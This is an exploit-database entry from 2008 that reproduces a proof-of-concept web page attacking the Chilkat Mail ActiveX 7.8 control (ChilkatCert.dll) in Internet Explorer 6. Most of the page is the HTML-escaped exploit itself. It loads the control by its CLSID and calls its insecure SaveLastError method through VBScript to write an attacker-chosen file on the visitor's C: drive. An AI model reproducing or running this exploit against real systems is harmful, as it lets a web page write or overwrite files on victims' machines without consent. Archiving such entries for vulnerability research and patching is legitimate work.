Chilkat Mail ActiveX 7.8 (ChilkatCert.dll) Insecure Method Exploit

🗓️ 30 Jan 2008 00:00:00Reported by RootType

Chilkat Mail ActiveX 7.8 Insecure Method Exploi


                                                &lt;body&nbsp;bgcolor=&quot;#000000&quot;&gt;

&lt;p&nbsp;align=&quot;center&quot;&gt;&lt;b&gt;&lt;font&nbsp;face=&quot;Verdana&quot;&nbsp;color=&quot;#00FF00&quot;&nbsp;size=&quot;2&quot;&gt;Chilkat&nbsp;Mail&nbsp;
ActiveX&nbsp;7.8&nbsp;(ChilkatCert.dll)&nbsp;Insecure&nbsp;Method&nbsp;Exploit&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&nbsp;align=&quot;center&quot;&gt;&lt;b&gt;&lt;font&nbsp;face=&quot;Verdana&quot;&nbsp;size=&quot;2&quot;&nbsp;color=&quot;#00FF00&quot;&gt;Site&nbsp;:
&lt;a&nbsp;href=&quot;http://www.chilkatsoft.com&quot;&gt;&lt;font&nbsp;color=&quot;#00FF00&quot;&gt;www.chilkatsoft.com&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&nbsp;align=&quot;center&quot;&gt;&lt;font&nbsp;color=&quot;#00FF00&quot;&nbsp;face=&quot;Verdana&quot;&gt;
===================================================&lt;/font&gt;&lt;/p&gt;
&lt;p&nbsp;align=&quot;center&quot;&gt;&lt;b&gt;&lt;font&nbsp;face=&quot;Verdana&quot;&nbsp;color=&quot;#00FF00&quot;&nbsp;size=&quot;2&quot;&gt;Tested&nbsp;on&nbsp;
Windows&nbsp;XP&nbsp;Professional&nbsp;SP2&nbsp;,&nbsp;with&nbsp;Internet&nbsp;Explorer&nbsp;6&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&nbsp;align=&quot;center&quot;&gt;&lt;b&gt;&lt;font&nbsp;face=&quot;Verdana&quot;&nbsp;size=&quot;2&quot;&nbsp;color=&quot;#00FF00&quot;&gt;Author&nbsp;:&nbsp;
darkl0rd&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&nbsp;align=&quot;center&quot;&gt;&lt;b&gt;&lt;font&nbsp;face=&quot;Verdana&quot;&nbsp;size=&quot;2&quot;&nbsp;color=&quot;#00FF00&quot;&gt;E-Mail&nbsp;:&nbsp;
l_l_darkl0rd_l_l[at]yahoo[dot]com&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&nbsp;align=&quot;center&quot;&gt;&lt;b&gt;&lt;font&nbsp;color=&quot;#FF0000&quot;&nbsp;face=&quot;Verdana&quot;&nbsp;size=&quot;2&quot;&gt;SaveLastError&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&nbsp;align=&quot;center&quot;&gt;
&lt;object&nbsp;classid='clsid:2A9A3D40-2F32-45BF-9A89-AC9ED6C2FEDF'&nbsp;id='over'&nbsp;align=&quot;left&quot;&gt;&lt;/object&gt;

&lt;input&nbsp;language=VBScript&nbsp;onclick=lose()&nbsp;type=button&nbsp;value=&quot;Exploit&quot;&gt;

&lt;script&nbsp;language='vbscript'&gt;
&nbsp;Sub&nbsp;lose
&nbsp;&nbsp;&nbsp;mystr=&quot;c:\darkl0rd.txt&quot;
&nbsp;&nbsp;&nbsp;over.SaveLastError&nbsp;mystr
&nbsp;&nbsp;&nbsp;MyMsg&nbsp;=&nbsp;MsgBox(&quot;Done&nbsp;!&quot;)
&nbsp;End&nbsp;Sub
&lt;/script&gt;
&lt;/span&gt;&lt;/span&gt;

&lt;/code&gt;&lt;/p&gt;
&lt;/pre&gt;

30 Jan 2008 00:00Current

7.1High risk

Vulners AI Score7.1